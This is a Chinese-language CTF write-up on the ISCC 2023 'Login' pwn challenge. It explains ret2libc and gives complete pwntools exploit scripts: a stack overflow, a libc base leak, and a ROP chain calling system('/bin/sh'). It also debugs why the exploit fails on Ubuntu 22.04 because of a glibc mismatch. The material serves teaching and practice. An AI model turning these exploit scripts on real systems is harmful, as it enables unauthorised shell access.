libc

libc.so 是一个动态链接文件,在程序运行的时候,才会去寻找库文件,取出里面的代码放进内存运行(像平时在运行 Windows 时弹出的 "找不到 xxx.dll文件" 其实就是动态链接)

一般来说,libc 中存放的都是使用过的函数、字符串等

  1. libc.so 动态链接库中的函数之间相对偏移是固定的。 也就是说,虽然程序在执行过程中,真实地址会随着每一次加载 libc 而变化,但是两个函数之间的偏移量总是固定不变的

假设文件中三个函数的地址是 0x40010、0x40020、0x40050,但是加载到内存后会增加一个基地址,假设基地址为 0x000100,虽然地址变了,但他们之间的相对偏移还是一样的

栈溢出漏洞5.png

  1. 根据系统的版本不同,系统中所使用的 libc 的版本也会有所差别。 所以我们首先需要确定程序所使用的是哪一个版本的 libc,这里可以用 LibcSearcher 来寻找(也有的题会直接给出 libc 文件)

不过 LibcSearcher 找到的 libc 版本可能有多个,有时候需要去判断,而且得到的字符串的地址不一定刚刚好,可能需要通过调试去验证。另外,也可以通过网站来查询:libc database search

栈溢出漏洞7.png

注意:
通过 ret2libc 计算出 libc 基地址时,libc 基地址 libcbase 最后三位一般是全 0,可用于判断是否计算正确,libc 基地址可以在 GDB 中使用 vmmap 进行查看

另外,libc 中的函数偏移在加载到内存后地址最后三位是不会变的,例如:system() 函数在 libc 中偏移量为 0x48E50,则加载到内存中可能为 0xF7D1BE50

与操作系统的 4 KB 分页机制有关,4 KB = 4 * 1024 (D) = 1000 (H)


例题

以 ISCC 2023 的一道 PWN 题为例:《【ISCC 2023】Login

ISCC2023-Login1.png

程序逻辑如下:

ISCC2023-Login3.png

ISCC2023-Login5.png

函数 main() 栈中的情况:

ISCC2023-Login4.png

思路比较简单,首先通过输入 buf 来修改 v6 的值为 365696460 (0x15CC15CC) 绕过 if 判断

然后通过 print_name() 函数中的 memcpy() 将 v4 复制到 dest 中,由于 v4 长度为 0x100,而 dest 长度为 0x20,可以利用 v4 覆盖 dest 来修改返回地址

而题目中没有 system() 函数和 "/bin/sh",但是给出了 libc 文件

ISCC2023-Login6.png

同时程序输出了 stdin 的真实地址 (通过动态调试发现其实是 _IO_2_1_stdin_ 而不是 stdin

ISCC2023-Login9.png

因此使用 ret2libc 来获取 system() 函数和 "/bin/sh" 的地址

在 Ubuntu 16.04 下,使用如下 exp 直接获得 shell:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

io = process('./Login')

elf = ELF('./Login')
libc = ELF('./libc-2.23.so')

io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16) # 获取程序输出的地址
print(hex(stdin_addr))

io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460) # 修改 v6 绕过 if
io.send(payload)

# 利用 _IO_2_1_stdin_ 计算 libc 偏移
libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

pop_rdi_ret = 0x4008c3 # 64 位传参
ret = 0x400599 # 用于堆栈平衡(glibc 2.27 以下可以不加 ret, 不影响程序执行流)

io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)

io.sendline(payload)

io.interactive()

由于在 Ubuntu 16.04 中,glibc 2.27 以下版本不存在 system() 函数中 movaps 指令操作 XMM 寄存器的堆栈平衡问题,因此 payload 中 p64(ret) 可加可不加

但在 Ubuntu 22.04 中就必须得加,索性养成习惯直接加上

详见《PWN中Glibc引起的64位程序的堆栈平衡》一文

ISCC2023-Login11.png

但在 Ubuntu 22.04 中使用同样的 exp,就无法获得 shell:

PWN中程序的libc问题1.png

玄学的问题出现了:

同样的脚本,同样的程序,在 Ubuntu 16.04 可以打通,在 Ubuntu 22.04 就打不通


调试分析

在 Ubuntu 22.04 中调试分析一下

在第二个 payload 发送之前附加 gdb 调试,完整测试脚本如下:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

io = process('./Login')

elf = ELF('./Login')
libc = ELF('./libc-2.23.so')

io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16) # 获取程序输出的地址
print(hex(stdin_addr))

io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460) # 修改 v6 绕过 if
io.send(payload)

# 利用 _IO_2_1_stdin_ 计算 libc 偏移
libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

pop_rdi_ret = 0x4008c3 # 64 位传参
ret = 0x400599 # 用于堆栈平衡(glibc 2.27 以下可以不加 ret, 不影响程序执行流)

io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)

# 附加 gdb 调试
gdb.attach(io)
pause()

io.sendline(payload)

io.interactive()

执行到 call print_name

PWN中程序的libc问题2.png

可以看到 print_name() 函数的返回地址没有问题,为 pop rdi

单步 si 进入 print_name() 函数:

PWN中程序的libc问题3.png

print_name() 函数结束后,确实返回到 0x4008c3 <__libc_csu_init+99> 处执行了 pop rdi 指令,也没有问题

PWN中程序的libc问题4.png

执行完 pop rdi 指令后,正常返回到 0x400599 <_init+25> 处执行 ret 指令,也没有问题

PWN中程序的libc问题5.png

ret 返回到 0x7fb6dc29a560 地址处

再次单步执行,程序便崩溃了:地址 0x7fb6dc29a560 不合法

PWN中程序的libc问题6.png

按道理说,这个地址存放的应该是 system() 函数的地址

回头观察执行 pop rdi 指令时的情况,出栈到 RDI 的地址为:0x7fb6dc3e2017,正常来讲这个地址应该为 "/bin/sh" 的地址

实际发现这两个地址确实都不存在:

PWN中程序的libc问题7.png


而在 Ubuntu 16.04 中使用同样的脚本进行调试时

发现最后 ret 的地址就是 system() 的地址:

PWN中程序的libc问题8.png

pop rdi 出栈的也是 "/bin/sh" 的地址:

PWN中程序的libc问题9.png

没有任何问题,可以正常获得 shell

大致可以猜测应该是 Ubuntu 22.04 中 system() 函数和 "/bin/sh" 地址不对


接下来,我们在 Ubuntu 22.04 中验证一下

先单步执行完 pop rdi 指令:

PWN中程序的libc问题10.png

此时我们查找 "/bin/sh"system() 函数的地址:

PWN中程序的libc问题11.png

使用 set 命令强行手动将 RDI 寄存器和 RIP 寄存器修改,使 RDI 存放 "/bin/sh" 的地址,RIP 存放 system() 函数的地址

然后 si 单步步入,发现已经正常进入 system() 函数:

直接 finish 结束函数,可以获得 shell:

PWN中程序的libc问题13.png

在 Pycharm 中运行的 exp 也同步获得 shell:

PWN中程序的libc问题14.png

由此可以得出结论:
其实 Ubuntu 22.04 中无法 getshell 的原因就是 system() 函数和 "/bin/sh" 的地址计算错误
system() 函数和 "/bin/sh" 的地址是由 libc 文件计算偏移得来的,因此问题出在 libc 文件上


解决办法

由于题目给的 libc 文件为 libc-2.23.so,在 Ubuntu 16.04 这样的老版本中没有问题

但是在 Ubuntu 22.04 这样的新版本中就不对了

Ubuntu 16.04 的 glibc 版本:

PWN中程序的libc问题15.png

Ubuntu 22.04 的 glibc 版本:

PWN中程序的libc问题16.png

解决办法就是在 Ubuntu 22.04 中使用 Ubuntu 22.04 自带的新版 glibc 来运行程序

注意:
更改程序运行时使用的 libc 版本需要与 ld 文件的版本对应,由于 Ubuntu 22.04 使用的 ld 版本为 2.35,所以如果指定题目给出的 libc-2.23.so 文件会使程序运行崩溃:

PWN中程序的libc问题19.png

这里需要指定 Ubuntu 22.04 自带的 libc 文件

Ubuntu 22.04 自带的 glibc 一般位于 /usr/lib/x86_64-linux-gnu/libc.so.6,也可以使用命令来查找:sudo find / -name libc.so.6

PWN中程序的libc问题17.png

将 exp 改写如下:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# 指定使用 Ubuntu 22.04 自带的 glibc 来运行程序
io = process(['./Login'], env={'LD_PRELOAD': "/usr/lib/x86_64-linux-gnu/libc.so.6"})

elf = ELF('./Login')

# 计算偏移的 libc 也需要与程序相统一
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")


io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16)
print(hex(stdin_addr))

io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460)

io.send(payload)

libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

pop_rdi_ret = 0x4008c3
ret = 0x400599

io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)

io.sendline(payload)

io.interactive()

此时即可正常 getshell:

PWN中程序的libc问题18.png


再次调试分析

再次在 Ubuntu 22.04 下调试分析

单步执行,发现地址都已经正常,可以调用 system("/bin/sh") 来 getshell 了

PWN中程序的libc问题21.png

PWN中程序的libc问题20.png